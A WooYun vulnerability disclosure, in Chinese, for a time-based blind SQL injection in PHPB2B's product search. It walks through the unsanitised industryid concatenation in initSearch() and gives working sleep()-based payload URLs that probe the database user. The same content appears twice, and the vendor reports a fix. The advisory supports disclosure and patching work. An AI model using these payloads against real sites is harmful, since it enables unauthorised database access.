当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-090294

漏洞标题:PHPB2B某处sql注入#3

相关厂商:phpb2b.com

漏洞作者: Th1nk

提交时间:2015-01-07 12:41

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-07: 细节已通知厂商并且等待厂商处理中
2015-01-07: 厂商已经确认,细节仅向厂商公开
2015-01-10: 细节向第三方安全合作伙伴开放
2015-03-03: 细节向核心白帽子及相关领域专家公开
2015-03-13: 细节向普通白帽子公开
2015-03-23: 细节向实习白帽子公开
2015-04-13: 细节向公众公开

简要描述:

PHPB2B某处sql注入#3

详细说明:

PHPB2B某处sql注入
官网最新版本
libraries/core/controllers/product_controller.php
176-187行

function lists()
{
global $pos, $viewhelper;
$viewhelper->setPosition(L("product_center", 'tpl'), 'index.php?do=product');
$viewhelper->setTitle(L("product_center", 'tpl'));
setvar("module", "product");
$this->product->initSearch();
$result = $this->product->Search($pos, $this->displaypg);
setvar("items", $result);
$this->view->assign("total_count", $this->product->amount);
render("product/list");
}


这里调用了一个函数product->initsearch()
跟入
libraries/core/models/product_controller.php

function initSearch()
{
uses("industry","area");
$this->area = new Areas();
$this->industry = new Industries();
$this->condition[] = "Product.status=1 ";
if (isset($_GET['industryid'])) {
if (strpos($_GET['industryid'], ",")!==false) {
$this->condition[]= "Product.industry_id IN (".trim($_GET['industryid']).")";
}else{
$industryid = intval($_GET['industryid']);
$sub_ids = $this->industry->getSubDatas($industryid);
$sub_ids = array_keys($sub_ids);
$sub_ids = array_filter($sub_ids);
$this->condition[]= "Product.industry_id IN (".implode(",", $sub_ids).")";
}
}
if (isset($_GET['areaid'])) {
if (strpos($_GET['areaid'], ",")!==false) {
$this->condition[]= "Product.area_id IN (".trim($_GET['areaid']).")";
}else{
$areaid = intval($_GET['areaid']);
$this->condition[]= "Product.area_id='".$areaid."'";
}
}
if (isset($_GET['type'])) {
if($_GET['type']=="commend"){
$this->condition[] = "Product.if_commend='1'";
}
}
if (!empty($_GET['typeid'])) {
$this->condition[] = "Product.sort_id='".$_GET['typeid']."'";
}
if(!empty($_GET['q'])) {
$searchkeywords = strip_tags($_GET['q']);
$this->condition[]= "Product.name like '%".$searchkeywords."%'";
}
if (isset($_GET['pubdate'])) {
switch ($_GET['pubdate']) {
case "l3":
$this->condition[] = "Product.created>".($this->timestamp-3*86400);
break;
case "l10":
$this->condition[] = "Product.created>".($this->timestamp-10*86400);
break;
case "l30":
$this->condition[] = "Product.created>".($this->timestamp-30*86400);
break;
default:
break;
}
}
if (!empty($_GET['total_count'])) {
$this->amount = intval($_GET['total_count']);
}else{
$this->amount = $this->findCount();
}
if (!empty($_GET['orderby'])) {
switch ($_GET['orderby']) {
case "dateline":
$this->orderby = "created DESC";
break;
default:
break;
}
}
}


代码大同小异,只看一处

if (isset($_GET['industryid'])) {
if (strpos($_GET['industryid'], ",")!==false) {
$this->condition[]= "Product.industry_id IN (".trim($_GET['industryid']).")";
}else{
$industryid = intval($_GET['industryid']);
$sub_ids = $this->industry->getSubDatas($industryid);
$sub_ids = array_keys($sub_ids);
$sub_ids = array_filter($sub_ids);
$this->condition[]= "Product.industry_id IN (".implode(",", $sub_ids).")";
}
}


如果传入的industryid中存在逗号,就拼接后加入condition数组中,没有强制类型转换,也没有单引号保护。
然后接着看libraries/core/models/product_controller.php
$result = $this->product->Search($pos, $this->displaypg);
执行了搜索。
其中又是一大堆拼接,转化,但是都跟我们没关系。我们直接看最后执行的sql语句。
访问

localhost/phpb2b/?do=product&action=list&industryid=1,234)||if((length(user())=0),sleep(30),0)%23


1.png


于是可以注入啦
localhost/phpb2b/?do=product&action=list&industryid=1,234)||if((length(user())>10),sleep(30),0)%23
成功延时
localhost/phpb2b/?do=product&action=list&industryid=1,234)||if((length(user())>15),sleep(30),0)%23
不延时
localhost/phpb2b/?do=product&action=list&industryid=1,234)||if((length(user())=14),sleep(30),0)%23
延时成功
确定user()长度为14位
不再演示了。剩下的嘿嘿。。

漏洞证明:

PHPB2B某处sql注入
官网最新版本
libraries/core/controllers/product_controller.php
176-187行

function lists()
{
global $pos, $viewhelper;
$viewhelper->setPosition(L("product_center", 'tpl'), 'index.php?do=product');
$viewhelper->setTitle(L("product_center", 'tpl'));
setvar("module", "product");
$this->product->initSearch();
$result = $this->product->Search($pos, $this->displaypg);
setvar("items", $result);
$this->view->assign("total_count", $this->product->amount);
render("product/list");
}


这里调用了一个函数product->initsearch()
跟入
libraries/core/models/product_controller.php

function initSearch()
{
uses("industry","area");
$this->area = new Areas();
$this->industry = new Industries();
$this->condition[] = "Product.status=1 ";
if (isset($_GET['industryid'])) {
if (strpos($_GET['industryid'], ",")!==false) {
$this->condition[]= "Product.industry_id IN (".trim($_GET['industryid']).")";
}else{
$industryid = intval($_GET['industryid']);
$sub_ids = $this->industry->getSubDatas($industryid);
$sub_ids = array_keys($sub_ids);
$sub_ids = array_filter($sub_ids);
$this->condition[]= "Product.industry_id IN (".implode(",", $sub_ids).")";
}
}
if (isset($_GET['areaid'])) {
if (strpos($_GET['areaid'], ",")!==false) {
$this->condition[]= "Product.area_id IN (".trim($_GET['areaid']).")";
}else{
$areaid = intval($_GET['areaid']);
$this->condition[]= "Product.area_id='".$areaid."'";
}
}
if (isset($_GET['type'])) {
if($_GET['type']=="commend"){
$this->condition[] = "Product.if_commend='1'";
}
}
if (!empty($_GET['typeid'])) {
$this->condition[] = "Product.sort_id='".$_GET['typeid']."'";
}
if(!empty($_GET['q'])) {
$searchkeywords = strip_tags($_GET['q']);
$this->condition[]= "Product.name like '%".$searchkeywords."%'";
}
if (isset($_GET['pubdate'])) {
switch ($_GET['pubdate']) {
case "l3":
$this->condition[] = "Product.created>".($this->timestamp-3*86400);
break;
case "l10":
$this->condition[] = "Product.created>".($this->timestamp-10*86400);
break;
case "l30":
$this->condition[] = "Product.created>".($this->timestamp-30*86400);
break;
default:
break;
}
}
if (!empty($_GET['total_count'])) {
$this->amount = intval($_GET['total_count']);
}else{
$this->amount = $this->findCount();
}
if (!empty($_GET['orderby'])) {
switch ($_GET['orderby']) {
case "dateline":
$this->orderby = "created DESC";
break;
default:
break;
}
}
}


代码大同小异,只看一处

if (isset($_GET['industryid'])) {
if (strpos($_GET['industryid'], ",")!==false) {
$this->condition[]= "Product.industry_id IN (".trim($_GET['industryid']).")";
}else{
$industryid = intval($_GET['industryid']);
$sub_ids = $this->industry->getSubDatas($industryid);
$sub_ids = array_keys($sub_ids);
$sub_ids = array_filter($sub_ids);
$this->condition[]= "Product.industry_id IN (".implode(",", $sub_ids).")";
}
}


如果传入的industryid中存在逗号,就拼接后加入condition数组中,没有强制类型转换,也没有单引号保护。
然后接着看libraries/core/models/product_controller.php
$result = $this->product->Search($pos, $this->displaypg);
执行了搜索。
其中又是一大堆拼接,转化,但是都跟我们没关系。我们直接看最后执行的sql语句。
访问

localhost/phpb2b/?do=product&action=list&industryid=1,234)||if((length(user())=0),sleep(30),0)%23


1.png


于是可以注入啦
localhost/phpb2b/?do=product&action=list&industryid=1,234)||if((length(user())>10),sleep(30),0)%23
成功延时
localhost/phpb2b/?do=product&action=list&industryid=1,234)||if((length(user())>15),sleep(30),0)%23
不延时
localhost/phpb2b/?do=product&action=list&industryid=1,234)||if((length(user())=14),sleep(30),0)%23
延时成功
确定user()长度为14位
不再演示了。剩下的嘿嘿。。

修复方案:

过滤

版权声明:转载请注明来源 Th1nk@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-01-07 23:30

厂商回复:

最新版本已修复

最新状态:

暂无